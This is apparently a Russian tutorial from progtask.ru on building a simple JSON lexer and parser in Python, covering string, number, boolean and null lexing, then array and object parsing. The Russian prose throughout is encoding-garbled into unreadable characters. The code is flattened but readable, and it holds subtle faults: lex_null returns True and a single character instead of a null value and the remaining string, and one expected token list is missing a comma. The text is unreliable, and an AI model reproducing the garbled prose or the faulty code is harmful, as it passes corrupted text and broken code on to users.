ΠΠ»Ρ ΠΏΡΠΎΡΡΠ΅ΠΉΡΠ΅Π³ΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° Π½Π°ΠΌ ΠΏΠΎΡΡΠ΅Π±ΡΠ΅ΡΡΡ ΠΏΡΠΎΠΉΡΠΈΡΡ ΠΏΠΎ Π²ΡΠ΅ΠΌ ΡΠΈΠΌΠ²ΠΎΠ»Π°ΠΌ Π² Π²Ρ ΠΎΠ΄Π½ΡΡ Π΄Π°Π½Π½ΡΡ ΠΈ ΡΠ°Π·Π±ΠΈΡΡ ΠΈΡ Π½Π° ΡΡΠ½Π΄Π°ΠΌΠ΅Π½ΡΠ°Π»ΡΠ½ΡΠ΅ (Π½Π΅ ΡΠ΅ΠΊΡΡΡΠΈΠ²Π½ΡΠ΅!) ΡΠ·ΡΠΊΠΎΠ²ΡΠ΅ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΠΈ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ: ΡΠΈΡΠ»Π°, ΡΡΡΠΎΠΊΠΈ ΠΈ Π±ΡΠ»Π΅Π²Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡ. Π‘ΡΡΠΎΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΡΡ ΡΠ°ΡΡΡΡ ΠΏΡΠΎΡΠ΅ΡΡΠ°, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΡΠ±ΡΠΎΡΠΈΡΡ Π²ΡΠ΅ ΠΏΡΠΎΠ±Π΅Π»Ρ, Π½Π΅ ΡΠ±Π΅Π΄ΠΈΠ²ΡΠΈΡΡ, ΡΡΠΎ ΡΡΠΎ Π½Π΅ ΡΠ°ΡΡΡ ΡΡΡΠΎΠΊΠΈ.
Π ΠΏΠΎΠ»Π½ΠΎΡΠ΅Π½Π½ΠΎΠΌ Π»Π΅ΠΊΡΠ΅ΡΠ΅ ΠΌΡ Π±Ρ ΡΠ»Π΅Π΄ΠΈΠ»ΠΈ Π·Π° ΠΎΡΡΡΡΠΏΠ°ΠΌΠΈ ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠΌΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ Π±ΡΠ»ΠΈ ΠΏΡΠΎΠΏΡΡΠ΅Π½Ρ, Π½ΠΎΠΌΠ΅ΡΠΎΠΌ ΡΡΡΠΎΠΊΠΈ ΠΈ ΡΠ°ΠΉΠ»ΠΎΠΌ, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ ΠΌΡ Π½Π°Ρ ΠΎΠ΄ΠΈΠΌΡΡ. ΠΡΠ΅ ΡΡΠΈ Π΄Π°Π½Π½ΡΠ΅ Π±ΡΠ΄ΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ Π² ΠΏΡΠΎΡΠ΅ΡΡΠ΅ Π΄Π΅Π±Π°Π³Π³ΠΈΠ½Π³Π°.
ΠΠΎΡΠ»Π΅Π΄Π½ΡΡ Π²Π΅ΡΡΠΈΡ Π΄Π²ΠΈΠΆΠΊΠ° V8 JavaScript ΡΠ΅ΠΏΠ΅ΡΡ ΠΌΠΎΠΆΠ΅Ρ Π²ΠΎΡΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΡ ΡΠΎΡΠ½ΡΠΉ ΠΊΠΎΠ΄ Π²ΡΠ·Π²Π°Π½Π½ΠΎΠΉ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΡΠΎ ΠΎΠ³ΡΠΎΠΌΠ½ΡΠΉ ΠΏΡΠΎΡΡΠ² Π΄Π»Ρ Π»Π΅ΠΊΡΠ΅ΡΠ° ΡΠ·ΡΠΊΠ° Ρ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡΠΌΠΈ ΡΡΠ½ΠΊΡΠΈΡΠΌΠΈ ΠΈ ΠΊΠ»Π°ΡΡΠ°ΠΌΠΈ.
Π Π΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ Π»Π΅ΠΊΡΠ΅ΡΠ° JSON
ΠΠ°Π±ΡΠΎΡΠΎΠΊ Π»Π΅ΠΊΡΠ΅ΡΠ° Π±ΡΠ΄Π΅Ρ ΠΏΡΠΎΡ ΠΎΠ΄ΠΈΡΡ ΡΠΈΠΊΠ»ΠΎΠΌ ΠΏΠΎ Π²Ρ ΠΎΠ΄ΡΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΈ Π²ΡΠΈΡΠΊΠΈΠ²Π°ΡΡ ΠΏΠ°ΡΡΠ΅ΡΠ½Ρ ΡΡΡΠΎΠΊ, ΡΠΈΡΠ΅Π», Π±ΡΠ»Π΅Π²ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ, null ΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ° JSON, ΡΠ°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π»Π΅Π²ΡΠ΅ ΠΈ ΠΏΡΠ°Π²ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ. ΠΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡ ΠΎΠ½ Π±ΡΠ΄Π΅Ρ ΠΊΠ°ΠΆΠ΄ΡΠΉ ΠΈΠ· ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ² ΠΊΠ°ΠΊ ΡΠΏΠΈΡΠΎΠΊ.
ΠΡΠΈΠΌΠ΅Ρ Π²ΡΠ²ΠΎΠ΄Π°:
assert_equal(lex('{"foo": [1, 2, {"bar": 2}]}'), ['{', 'foo', ':', '[', 1, ',', 2, ',', '{', 'bar', ':', 2, '}', ']', '}'])
ΠΠ°Π³ΠΎΡΠΎΠ²ΠΊΠ° ΠΊΠΎΠ΄Π°:
def lex(string): tokens = [] while len(string): json_string, string = lex_string(string) if json_string is not None: tokens.append(json_string) continue if string[0] in JSON_WHITESPACE: string = string[1:] elif string[0] in JSON_SYNTAX: tokens.append(string[0]) string = string[1:] else: raise Exception('Unexpected character: {}'.format(string[0])) return tokens
ΠΠ°Π΄Π°ΡΠ° Π·Π΄Π΅ΡΡ — Π²ΡΠ΄Π΅Π»ΠΈΡΡ ΠΈΠ· Π²Π²ΠΎΠ΄Π° ΡΠΈΡΠ»Π°, ΡΡΡΠΎΠΊΠΈ, Π±ΡΠ»Π΅Π²Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΠΈ null. ΠΡΠ»ΠΈ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ Π½Π΅ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΠΈΡ, ΡΠΎ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ ΡΠΈΠΌΠ²ΠΎΠ» Π½Π° ΠΏΡΠΎΠ±Π΅Π» (ΠΎΡΡΡΡΠΏ) ΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΡΡ ΡΠ°ΡΡΡ JSON. ΠΡΡ, ΠΊΡΠΎΠΌΠ΅ whitespaces, Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅ΡΡΡ Π² ΡΠΏΠΈΡΠΎΠΊ ΡΠΎΠΊΠ΅Π½ΠΎΠ², ΠΊΠΎΡΠΎΡΡΠΉ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΡΡΡ ΡΡΠ½ΠΊΡΠΈΠ΅ΠΉ.
Π’Π΅ΠΏΠ΅ΡΡ ΡΠ°ΡΡΠΈΡΠΈΠΌ Π»ΠΎΠ³ΠΈΠΊΡ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°ΡΡ Π²ΡΠ΅ ΡΠΈΠΏΡ Π΄Π°Π½Π½ΡΡ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π·Π°Π³ΠΎΡΠΎΠ²ΠΊΠΈ ΡΡΠ½ΠΊΡΠΈΠΉ:
def lex_string(string): return None, string def lex_number(string): return None, string def lex_bool(string): return None, string def lex_null(string): return None, string def lex(string): tokens = [] while len(string): json_string, string = lex_string(string) if json_string is not None: tokens.append(json_string) continue json_number, string = lex_number(string) if json_number is not None: tokens.append(json_number) continue json_bool, string = lex_bool(string) if json_bool is not None: tokens.append(json_bool) continue json_null, string = lex_null(string) if json_null is not None: tokens.append(None) continue if string[0] in JSON_WHITESPACE: string = string[1:] elif string[0] in JSON_SYNTAX: tokens.append(string[0]) string = string[1:] else: raise Exception('Unexpected character: {}'.format(string[0])) return tokens
ΠΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡΡΡΠΎΠΊ
ΠΠ°Π²Π°ΠΉΡΠ΅ Π½Π°ΠΏΠΈΡΠ΅ΠΌ ΡΡΠ½ΠΊΡΠΈΡ lex_string
. Π Π½Π΅ΠΉ ΠΌΡ Π±ΡΠ΄Π΅ΠΌ ΠΏΡΠΎΠ²Π΅ΡΡΡΡ, Π΅ΡΠ»ΠΈ Π΄Π°Π»ΡΡΠ΅ ΠΏΠΎΡΠ»Π΅ ΡΠΊΠ°Π·Π°ΡΠ΅Π»Ρ (Π½ΡΠ»Π΅Π²ΠΎΠΉ ΡΠΈΠΌΠ²ΠΎΠ» ΡΡΡΠΎΠΊΠΈ ΠΈ Π΄Π°Π»Π΅Π΅) ΠΈΠ΄ΡΡ ΡΡΡΠΎΠΊΠ°. ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΌΡ Π² ΡΠΈΠΊΠ»Π΅ Π±ΡΠ΄Π΅ΠΌ ΠΈΡΠΊΠ°ΡΡ ΠΎΡΠΊΡΡΠ²Π°ΡΡΠΈΠ΅ ΠΈ Π·Π°ΠΊΡΡΠ²Π°ΡΡΠΈΠ΅ ΠΊΠ°Π²ΡΡΠΊΠΈ:
def lex_string(string): json_string = '' if string[0] == JSON_QUOTE: string = string[1:] else: return None, string for c in string: if c == JSON_QUOTE: return json_string, string[len(json_string)+1:] else: json_string += c raise Exception('Expected end-of-string quote')
ΠΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡΠΈΡΠ΅Π»
Π ΠΏΡΠΎΡΠ΅ΡΡΠ΅ ΠΏΠΎΠΈΡΠΊΠ° ΡΠΈΡΠ΅Π» Π² ΡΡΠ½ΠΊΡΠΈΠΈ lex_number
ΠΌΡ Π±ΡΠ΄Π΅ΠΌ ΠΈΡΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΠΎ Π²Ρ
ΠΎΠ΄ΡΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠ΅ Π΄ΠΎ ΡΠ΅Ρ
ΠΏΠΎΡ, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄ΡΠΌ Π·Π½Π°ΠΊ, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ ΡΠ²Π»ΡΡΡΡΡ ΡΠ°ΡΡΡΡ ΡΠΈΡΠ»Π°. ΠΠΎΡΠ»Π΅ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΡΠ°ΠΊΠΎΠ³ΠΎ Π·Π½Π°ΠΊΠ° ΠΌΡ Π²Π΅ΡΠ½ΡΠΌ float ΠΈΠ»ΠΈ int. Π ΡΠ»ΡΡΠ°Π΅, Π΅ΡΠ»ΠΈ ΡΡΠΎ Π½Π΅ ΡΠΈΡΠ»ΠΎ, Π²Π΅ΡΠ½ΡΠΌ None ΠΈ ΠΈΡΡ
ΠΎΠ΄Π½ΡΡ ΡΡΡΠΎΠΊΡ Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.
def lex_number(string): json_number = '' number_characters = [str(d) for d in range(0, 10)] + ['-', 'e', '.'] for c in string: if c in number_characters: json_number += c else: break rest = string[len(json_number):] if not len(json_number): return None, string if '.' in json_number: return float(json_number), rest return int(json_number), rest
ΠΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π±ΡΠ»Π΅Π²ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ ΠΈ null
ΠΡΠΎ ΡΠ°ΠΌΡΠ΅ ΠΏΡΠΎΡΡΡΠ΅ ΡΠΈΠΏΡ Π΄Π°Π½Π½ΡΡ Π΄Π»Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ:
def lex_bool(string): string_len = len(string) if string_len >= TRUE_LEN and \ string[:TRUE_LEN] == 'true': return True, string[TRUE_LEN:] elif string_len >= FALSE_LEN and \ string[:FALSE_LEN] == 'false': return False, string[FALSE_LEN:] return None, string def lex_null(string): string_len = len(string) if string_len >= NULL_LEN and \ string[:NULL_LEN] == 'null': return True, string[NULL_LEN] return None, string
Π’Π΅ΠΏΠ΅ΡΡ Π»Π΅ΠΊΡΠ΅Ρ Π·Π°ΠΊΠΎΠ½ΡΠ΅Π½. ΠΠΎΠ»Π½ΡΠΉ ΠΈΡΡ ΠΎΠ΄Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π² ΡΠ°ΠΉΠ»Π΅ pj/lexer.py.
Π‘ΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·
ΠΠ°Π΄Π°ΡΠ° ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠ° ΡΠΎΡΡΠΎΠΈΡ Π² ΠΈΡΠ΅ΡΠ°ΡΠΈΠΈ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΠ΅ΡΠ½ΠΎΠΌΡ ΡΠΏΠΈΡΠΊΡ Π»Π΅ΠΊΡΠ΅ΠΌ ΠΈ ΠΎΡΡΡΠΊΠΈΠ²Π°ΡΡ Π² Π½ΡΠΌ ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΠΈ ΡΠ·ΡΠΊΠ° ΠΡΠ»ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΉ-ΡΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ Π°Π½Π°Π»ΠΈΠ·Π°, ΠΏΠ°ΡΡΠ΅ΡΡ Π½Π΅ ΡΠ΄Π°ΡΡΡΡ ΡΠΎΠΎΡΠ½Π΅ΡΡΠΈ ΡΠ΅ΠΊΡΡΠΈΠΉ Π½Π°Π±ΠΎΡ ΡΠΎΠΊΠ΅Π½ΠΎΠ² Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΡΠΌΠΈ, ΠΏΠ°ΡΡΠ΅Ρ Π·Π°ΠΊΠΎΠ½ΡΠΈΡ ΡΠ²ΠΎΡ ΡΠ°Π±ΠΎΡΡ ΠΈ Π²Π΅ΡΠ½ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ΅.
Π Π΅Π°Π»ΠΈΠ·Π°ΡΠΈΡ ΠΏΠ°ΡΡΠ΅ΡΠ° JSON
ΠΠ°Π³ΠΎΡΠΎΠ²ΠΊΠ° JSON ΠΏΠ°ΡΡΠ΅ΡΠ° Π±ΡΠ΄Π΅Ρ ΠΈΡΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΠΎ ΡΠΎΠΊΠ΅Π½Π°ΠΌ, ΠΊΠΎΡΠΎΡΡΠ΅ Π²Π΅ΡΠ½ΡΠ» Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ, ΠΈ ΡΠΎΠΎΡΠ½ΠΎΡΠΈΡΡ ΠΈΡ Ρ ΠΎΠ±ΡΠ΅ΠΊΡΠ°ΠΌΠΈ, ΡΠΏΠΈΡΠΊΠ°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΏΠ°ΡΠ°ΠΌΠΈ ΠΊΠ»ΡΡ-Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅:
tokens = lex('{"foo": [1, 2, {"bar": 2}]}') assert_equal(tokens, ['{', 'foo', ':', '[', 1, ',', 2, '{', 'bar', ':', 2, '}', ']', '}']) assert_equal(parse(tokens), {'foo': [1, 2, {'bar': 2}]})
ΠΠΎΠ³ΠΈΠΊΠ° Π±ΡΠ΄Π΅Ρ Π²ΡΠ³Π»ΡΠ΄Π΅ΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
def parse_array(tokens): return [], tokens def parse_object(tokens): return {}, tokens def parse(tokens): t = tokens[0] if t == JSON_LEFTBRACKET: return parse_array(tokens[1:]) elif t == JSON_LEFTBRACE: return parse_object(tokens[1:]) else: return t, tokens[1:]
ΠΠ»ΡΡΠ΅Π²ΡΠΌ ΡΡΡΡΠΊΡΡΡΠ½ΡΠΌ ΠΎΡΠ»ΠΈΡΠΈΠ΅ΠΌ ΠΌΠ΅ΠΆΠ΄Ρ Π»Π΅ΠΊΡΠ΅ΡΠΎΠΌ ΠΈ ΠΏΠ°ΡΡΠ΅ΡΠΎΠΌ Π±ΡΠ΄Π΅Ρ ΡΠΎ, ΡΡΠΎ Π»Π΅ΠΊΡΠ΅Ρ Π²ΡΠ΅Π³Π΄Π° Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΎΠ΄Π½ΠΎΠΌΠ΅ΡΠ½ΡΠΉ ΡΠΏΠΈΡΠΎΠΊ ΡΠΎΠΊΠ΅Π½ΠΎΠ², Π° ΠΏΠ°ΡΡΠ΅Ρ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡ ΡΠ΅ΠΊΡΡΡΠΈΠ²Π½ΡΠ΅ ΡΡΡΡΠΊΡΡΡΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΄Π΅ΡΠ΅Π²ΡΡ).
Π’Π°ΠΊ ΠΊΠ°ΠΊ JSON — ΡΠΎΡΠΌΠ°Ρ ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ Π΄Π°Π½Π½ΡΡ , Π° Π½Π΅ ΡΠ·ΡΠΊ, ΡΠΎ ΠΏΠ°ΡΡΠ΅Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡ ΠΎΠ±ΡΠ΅ΠΊΡΡ ΡΠ·ΡΠΊΠ° Python, Π° Π½Π΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ΅ Π΄Π΅ΡΠ΅Π²ΠΎ, Ρ ΠΊΠΎΡΠΎΡΡΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡΠ»ΠΎ Π±Ρ ΡΠ°Π±ΠΎΡΠ°ΡΡ Π΄Π°Π»Π΅Π΅ (ΠΈΠ»ΠΈ ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°ΡΡ ΠΊΠΎΠ΄ Π² ΡΠ»ΡΡΠ°Π΅ ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡΠ°).
ΠΠ»Π°Π²Π½ΡΠΌ ΠΏΡΠ΅ΠΈΠΌΡΡΠ΅ΡΡΠ²ΠΎΠΌ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΎΡ ΠΏΠ°ΡΡΠ΅ΡΠ° ΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠΎ, ΡΡΠΎ ΠΎΠ±Π° ΡΡΠ°Π³ΠΌΠ΅Π½ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΏΡΠΎΡΠ΅ Π² ΡΠ΅Π°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΠΎΠ΄Π½Ρ ΡΡΠ½ΠΊΡΠΈΡ.
ΠΠ°ΡΡΠΈΠ½Π³ ΠΌΠ°ΡΡΠΈΠ²ΠΎΠ²
ΠΠ°ΡΡΠΈΠ² Π²ΡΠ΅Π³Π΄Π° Π½Π°ΡΠΈΠ½Π°Π΅ΡΡΡ Ρ Π»Π΅Π²ΠΎΠΉ ΠΊΠ²Π°Π΄ΡΠ°ΡΠ½ΠΎΠΉ ΡΠΊΠΎΠ±ΠΊΠΈ. ΠΠΎΡΡΠΎΠΌΡ ΠΏΠ°ΡΡΠΈΠ½Π³ ΠΌΠ°ΡΡΠΈΠ²ΠΎΠ² ΡΠ²ΠΎΠ΄ΠΈΡΡΡ ΠΊ ΠΏΠΎΠΈΡΠΊΡ ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ² ΠΌΠ°ΡΡΠΈΠ²Π°, Π·Π°ΠΏΡΡΡΡ ΠΌΠ΅ΠΆΠ΄Ρ Π½ΠΈΠΌΠΈ ΠΈΠ»ΠΈ ΠΆΠ΅ Π·Π°ΠΊΡΡΠ²Π°ΡΡΠΈΡ ΡΠΊΠΎΠ±ΠΎΠΊ:
def parse_array(tokens): json_array = [] t = tokens[0] if t == JSON_RIGHTBRACKET: return json_array, tokens[1:] while True: json, tokens = parse(tokens) json_array.append(json) t = tokens[0] if t == JSON_RIGHTBRACKET: return json_array, tokens[1:] elif t != JSON_COMMA: raise Exception('Expected comma after object in array') else: tokens = tokens[1:] raise Exception('Expected end-of-array bracket')
ΠΠ°ΡΡΠΈΠ½Π³ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ²
ΠΠ°ΡΡΠΈΠ½Π³ ΠΎΠ±ΡΠ΅ΠΊΡΠΎΠ² Π·Π°ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ Π² ΠΏΠΎΠΈΡΠΊΠ΅ ΠΏΠ°Ρ ΠΊΠ»ΡΡ-Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅, Π³Π΄Π΅ ΠΊΠ»ΡΡ ΠΎΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΠΎΡΠ΄ΡΠ»Π΅Π½ Π΄Π²ΠΎΠ΅ΡΠΎΡΠΈΠ΅ΠΌ, Π° ΠΏΠ°ΡΡ ΡΠ°Π·Π΄Π΅Π»Π΅Π½Ρ Π·Π°ΠΏΡΡΡΠΌΠΈ. ΠΠΎΠΈΡΠΊ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΡΡΡ Π΄ΠΎ ΠΎΠΊΠΎΠ½ΡΠ°Π½ΠΈΡ ΠΎΠ±ΡΠ΅ΠΊΡΠ°:
def parse_object(tokens): json_object = {} t = tokens[0] if t == JSON_RIGHTBRACE: return json_object, tokens[1:] while True: json_key = tokens[0] if type(json_key) is str: tokens = tokens[1:] else: raise Exception('Expected string key, got: {}'.format(json_key)) if tokens[0] != JSON_COLON: raise Exception('Expected colon after key in object, got: {}'.format(t)) json_value, tokens = parse(tokens[1:]) json_object[json_key] = json_value t = tokens[0] if t == JSON_RIGHTBRACE: return json_object, tokens[1:] elif t != JSON_COMMA: raise Exception('Expected comma after pair in object, got: {}'.format(t)) tokens = tokens[1:] raise Exception('Expected end-of-object brace')
ΠΠ°ΡΡΠ΅Ρ Π³ΠΎΡΠΎΠ². ΠΠΎΠ»Π½ΡΠΉ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ²ΠΈΠ΄Π΅ΡΡ Π² pj/parser.py.
Π‘ΠΎΠ±ΠΈΡΠ°Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ
ΠΡΡΠ°Π»ΠΎΡΡ ΠΎΠ±ΡΠ΅Π΄ΠΈΠ½ΠΈΡΡ Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ ΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΡ Π² ΠΎΠ±ΡΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΡ, ΡΠ΄ΠΎΠ²Π»Π΅ΡΠ²ΠΎΡΡΡΡΡΡ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΡ, ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠΌΡ Π² Π½Π°ΡΠ°Π»Π΅ ΡΡΠ°ΡΡΠΈ:
def from_string(string): tokens = lex(string) return parse(tokens)[0]
ΠΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Π³ΠΎΡΠΎΠ²Π°. ΠΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ Π²Π΅ΡΠΈ, Π²ΡΠΎΠ΄Π΅ ΡΠ΅ΡΡΠΎΠ², ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ Github.
ΠΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅: ΠΏΠ°ΡΡΠΈΠ½Π³ Π² ΠΎΠ΄ΠΈΠ½ ΡΡΠ°ΠΏ
ΠΠ΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠ°ΡΡΠ΅ΡΡ Π½Π΅ ΡΠ°Π·Π±ΠΈΠ²Π°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π° Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ ΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·. ΠΠ»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΡ ΡΠ·ΡΠΊΠΎΠ² ΡΡΠΎ ΠΌΠΎΠΆΠ΅Ρ ΡΠΏΡΠΎΡΡΠΈΡΡ ΠΏΠ°ΡΡΠΈΠ½Π³. ΠΠ»Ρ Π΄ΡΡΠ³ΠΈΡ , ΡΠ°ΠΊΠΈΡ ΠΊΠ°ΠΊ Common Lisp, ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π΄ΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΈ ΡΠ°ΡΡΠΈΡΡΡΡ Π»Π΅ΠΊΡΠ΅Ρ ΠΈ ΠΏΠ°ΡΡΠ΅Ρ ΡΠ΅ΡΠ΅Π· ΠΌΠ°ΠΊΡΠΎΡΡ.
ΠΠ°Π½Π½Π°Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Π½Π°ΠΏΠΈΡΠ°Π½Π° Π΄Π»Ρ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ Π΄Π°ΡΡ ΠΎΠ±ΡΠ΅Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΏΡΠΎΡΠ΅ΡΡΠ° ΠΏΠ°ΡΡΠΈΠ½Π³Π° ΡΠ·ΡΠΊΠΎΠ² Π΄Π»Ρ ΡΠΈΡΠΎΠΊΠΈΡ ΠΌΠ°ΡΡ. ΠΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· ΠΎΠΏΠΈΡΠ°Π½Π½ΡΡ Π² ΡΡΠ°ΡΡΠ΅ ΠΏΡΠΈΠ½ΡΠΈΠΏΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π΄Π»Ρ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡΡ Π²Π΅ΡΠ΅ΠΉ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ΅ΠΌΡΡ ΠΊΠ°Π»ΡΠΊΡΠ»ΡΡΠΎΡΠΎΠ² ΠΈΠ»ΠΈ ΡΠ°Π±ΠΎΡΡ Ρ Π²ΠΈΠ·ΡΠ°Π»ΡΠ½ΡΠΌΠΈ ΡΠ·ΡΠΊΠ°ΠΌΠΈ.
ΠΡΠΎΡΡΠΎΠΉ ΠΏΠ°ΡΡΠ΅Ρ Π½Π° Python | progtask.ru
